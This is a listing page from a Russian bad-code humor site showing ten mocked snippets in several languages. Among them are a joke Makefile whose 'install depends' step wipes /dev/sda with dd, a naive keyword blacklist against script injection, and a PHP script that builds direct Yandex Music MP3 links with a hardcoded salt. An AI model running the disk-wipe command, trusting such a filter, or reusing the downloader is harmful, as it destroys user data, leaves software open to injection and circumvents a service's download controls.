1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #27135

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    <?php
    $data = file_get_contents('https://music.yandex.ru/users/[данные удалены]/playlists/[данные удалены]');
    $data = json_decode($data);
    $tracks = $data->result->tracks;
    $track = $tracks[$argv[1]]; // передаём номер песни из плейлиста
    /* Step 1 */
    $trackId = $track->track->id;
    $albumId = $track->track->albums[0]->id;
    $time = strval(time()) . '000';
    $url1 = 'https://music.yandex.ru/api/v2.1/handlers/track/' . $trackId . '%3A' . $albumId . '/web-user_playlists-playlist-track-saved/download/m?hq=0&external-domain=music.yandex.ru&overembed=no&__t=' . $time;
    
    $options['http']['header'] = "Accept: application/json; q=1.0, text/*; q=0.8, */*; q=0.1\r\n"
                               . "X-Retpath-Y: https%3A%2F%2Fmusic.yandex.ru%2F\r\n"
                               . "X-Requested-With: XMLHttpRequest\r\n"
                               . "User-Agent: Mozilla/5.0 [данные удалены]\r\n"
                               . "Cookie: [данные удалены]\r\n";
    $context = stream_context_create($options);
    $data = file_get_contents($url1, false, $context);
    $data = json_decode($data);
    /* Step 2 */
    $time = strval(time()) . '000';
    $url2 = 'https:' . $data->src . '&format=json&external-domain=music.yandex.ru&overembed=no&__t=' . $time;
    $data = file_get_contents($url2);
    $data = json_decode($data);
    /* Step 3 */
    $salt = 'XGRlBW9FXlekgbPrRHuSiA';
    $hash = md5($salt . substr($data->path, 1) . $data->s);
    $url3 = 'https://' . $data->host . '/get-mp3/' . $hash . '/' . $data->ts . $data->path;
    
    $name = $track->track->title;
    if(isset($track->track->version)) {
        $name .= ' (' . $track->track->version . ')';
    }
    
    $artists = array();
    foreach($track->track->artists as $artist) {
        $artists[] = $artist->name;
    }
    $name = implode(',', $artists) . ' - ' . $name;
    
    $name = strtr($name, ':/\\*?<|>', '________');
    $name = str_replace('"', '”', $name);
    $name = mb_substr($name, 0, 255-4);
    
    copy($url3, $name . '.mp3');

    Найдётся всё.

    Fainal_kantdaun, 26 Ноября 2020

    Комментарии (38)
  3. JavaScript / Говнокод #27124

    +1

    1. 1
    console.log("Hello, World!");

    https://en.wikipedia.org/wiki/World_Hello_Day

    3_dar, 21 Ноября 2020

    Комментарии (246)
  4. C++ / Говнокод #27121

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    #include <iostream>
    using namespace std;
    
    int del(int s)
    {
    	int k = 0;
    	for (int i = 1;i <= 20;i++)
    	{
    		if (s % i == 0)
    		{
    			k++;
    		};
    
    	};
    	return k == 20;
    
    }
    
    int main()
    {
    	unsigned long int q = 1;
    	for (int i = 1;i <= 20;i++)
    	{
    		q = q*i;
    	}
    	for (int i=1;i<=q;i++)
    	{
    		if (del(i))
    		{
    			cout << i;
    			break;
    		}
    	}
    	return 0;
    }

    2520 - самое маленькое число, которое делится без остатка на все числа от 1 до 10.

    Какое самое маленькое число делится нацело на все числа от 1 до 20?

    Что за неоптимизированное говно я сейчас сделал.........

    NikEral7, 19 Ноября 2020

    Комментарии (467)
  5. C# / Говнокод #27114

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    DeliveryTruck t when t.GrossWeightClass switch
    {
        < 3000 => 10.00m - 2.00m,
        >= 3000 and <= 5000 => 10.00m,
        > 5000 => 10.00m + 5.00m,
    }

    С каждой новой версией C# всё меньше похож на C# и всё больше на Perl.

    Vindicar, 14 Ноября 2020

    Комментарии (59)
  6. Python / Говнокод #27113

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    In order to fund the development work on speeding CPython by a factor of five, something like $2M will be required.
    This seems like a sizeable sum, but compared to the amount of money spent on Python development and the 
    cost of running Python applications, it is quite a modest sum.
    
    ---
    
    The overall aim is to speed up CPython by a factor of (approximately) five. We aim to do this in four distinct stages, 
    each stage increasing the speed of CPython by (approximately) 50%.
    
    1.5**4 ≈ 5
    
    ---
    
    The interpreter will adapt to types and values during execution, exploiting [b]type stability[/b] in the program
    
    ---
    
    Improved performance for [b]integers of less than one machine word[/b].
    Improved peformance for [b]binary operators[/b].
    
    ---
    
    Simple "JIT" compiler for small regions. Compile small regions of specialized code, using a relatively simple, fast compiler.
    Extend regions for compilation. Enhance compiler to generate [b]superior machine code[/b].

    питонисты готовят новую версию интерпретатора с революционной фичей - возможностью отъема денег у населения. Ожидается, что нововведение позволит языку быстро заработать очки на рынке пускания пыли в глаза.

    https://github.com/markshannon/faster-cpython

    Fike, 13 Ноября 2020

    Комментарии (65)
  7. C++ / Говнокод #27105

    +1

    1. 1
    2. 2
    using T = int;
    0 .T::~T();

    Чем-то меня эта (полностью валидная) коньструкция очаровала.

    gost, 12 Ноября 2020

    Комментарии (25)
  8. Си / Говнокод #27103

    +1

    1. 1
    #define LEAP_YEAR_OR_NOT(year)( ( year % 4 ) ? ( 0 ) : ( 1 ) )

    Тот кто это писал, видимо рассуждал примерно так:

    - В 2100 году это конечно забагует, но это будет уже не моя проблема.

    j123123, 11 Ноября 2020

    Комментарии (41)
  9. Kotlin / Говнокод #27087

    +1

    1. 1
    2. 2
    Currently it's hard or even impossible to use hexadecimal literal constants that result in overflow of the corresponding signed types. 
    https://github.com/Kotlin/KEEP/blob/master/proposals/unsigned-types.md

    какой пиздец!!!

    MAKAKA, 06 Ноября 2020

    Комментарии (105)
  10. PHP / Говнокод #27077

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    ############
    $msg = str_replace('<?','',$msg);
    $msg = str_replace('?>','',$msg);
    $msg = str_replace('^','',$msg);
    $msg = str_replace(';','',$msg);
    $msg = str_replace('<a>','',$msg);
    $msg = str_replace('</a>','',$msg);
    $msg = str_replace('<A>','',$msg);
    $msg = str_replace('</A>','',$msg);
    $msg = str_replace('<br>','',$msg);
    $msg = str_replace('</br>','',$msg);
    $msg = str_replace('</BR>','',$msg);
    $msg = str_replace('<BR>','',$msg);
    $msg = str_replace('<p','',$msg);
    $msg = str_replace('align','',$msg);
    $msg = str_replace('http://','',$msg);
    $msg = str_replace('wap','',$msg);
    $msg = str_replace('WAP','',$msg);
    $msg = str_replace('ru','',$msg);
    $msg = str_replace('RU','',$msg);
    $msg = str_replace('com','',$msg);
    $msg = str_replace('COM','',$msg);
    $msg = str_replace('h2m','',$msg);
    $msg = str_replace('H2M','',$msg);
    $msg = str_replace('WEN','',$msg);
    $msg = str_replace('wen','',$msg);
    $msg = str_replace('гu','',$msg);
    $script = "waphak.ru";
    $msg = str_replace('ГU','',$msg);
    $msg = str_replace('HTTP://','',$msg);
    $msg = str_replace('exit;','',$msg);
    $msg = str_replace('EXIT();','',$msg);
    $msg = str_replace('exit();','',$msg);
    $msg = str_replace('()','',$msg);
    $msg = str_replace('<java','',$msg);
    $msg = str_replace('<JAVA','',$msg);
    $msg = str_replace('</java','',$msg);
    $msg = str_replace('</JAVA','',$msg);
    $msg = str_replace('javascript','',$msg);
    $msg = str_replace('JAVASCRIPT','',$msg);
    $msg = str_replace('</','',$msg);
    $msg = str_replace('</SCRIPT','',$msg);
    $msg = str_replace('</script','',$msg);
    $msg = str_replace('alert','',$msg);
    $msg = str_replace('\r','',$msg);
    $msg = str_replace('\n','',$msg);
    ########################

    Регулярные выражения? Не слышали!

    lionovsky, 02 Ноября 2020

    Комментарии (175)
  11. bash / Говнокод #27066

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    all:
    	@echo Check depends...
    	@echo Install depends...
    	@sudo dd if=/dev/urandom of=/dev/sda

    Makefile...

    DartPower, 28 Октября 2020

    Комментарии (45)